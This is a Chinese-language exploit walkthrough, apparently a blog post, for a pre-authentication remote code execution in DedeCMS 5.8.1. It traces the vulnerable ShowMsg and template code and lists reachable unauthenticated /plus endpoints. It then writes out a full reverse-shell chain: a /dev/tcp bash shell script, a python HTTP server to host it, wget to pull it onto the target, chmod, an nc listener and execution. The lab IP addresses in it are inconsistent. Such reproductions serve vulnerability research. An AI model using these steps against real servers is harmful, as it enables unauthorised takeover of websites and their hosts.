下载地址:https://github.com/dedecms/DedeCMS/releases
POC地址:https://github.com/HetuLib/dedecms_5.8.1_RCE
首先定位到include/common.func.php的ShowMsg方法
当gourl为-1时,检查HTTP_REFERER是非为null,如果设置了referer则是为设置的值,否则为null。
返回前一页
定义渲染模版
查看LoadString和Display方法
再查看下WriteCache方法
Getresult方法返回的结果给到result,再到CheckDisabledFunctions()中检查
查看Getresult和CheckDisabledFunctions方法
<?php
if(!isset($GLOBALS[\'_vars\'])) $GLOBALS[\'_vars\'] = array();
$fields = array()
?>
搜索ShowMsg((.*)-1)找到无需身份认证的路径;
以下(非详尽的)列表路径可以到达该漏洞:
/plus/flink.php?dopost=save
/plus/users_products.php?oid=1337
/plus/download.php?aid=1337
/plus/showphoto.php?aid=1337
/plus/users-do.php?fmdo=sendMail
/plus/posttocar.php?id=1337
/plus/vote.php?dopost=view
/plus/carbuyaction.php?do=clickout
/plus/recommend.php
这里代码执行了,想要拿下服务器还不行,system执行的命令有限,
所以这里采用让目标机器去下载(wget)我们存在恶意服务器上的反弹shell脚本,然后给脚本赋权(chmod),再让目标机器在本地去执行shell,最后我们反弹连接shell。
本次复现:
目标机器:mint Linux(192.168.153.13)
恶意服务器:kali (192.168.153.10)
首先在mint Linux 机器上搭建好dedecms_5.8.1
访问主页是这样的
在kali机器上写好恶意shell(test.sh)
#/bin/bash
/bin/bash -c 'sh -i &>/dev/tcp/192.168.153.6/12345 0>&1'
在同级目录下用python起个http服务
sudo python3 -m http.server 80
原始的/plus里并没有我们的shell文件
开始让目标机器去下载我们的shell
wget -O test.sh http://192.168.153.6/test.sh
可以看到我们的恶意shell已经被目标服务器下载下来了,但是没有执行权限,
这里我们再给它赋权限
chmod -R 777 test.sh
最后kali起nc监听:
nc -lvvp 12345
执行反弹shell
./test.sh
参考链接:
https://mp.weixin.qq.com/s/KL6eOwh8hpcQMWh8JjxF3g
PeiQi文库,公众号:PeiQi文库
某CMS common.func.php 远程命令执行
Chasing a Dream :: Pre-authenticated Remote Code Execution in Dedecms
发表评论 取消回复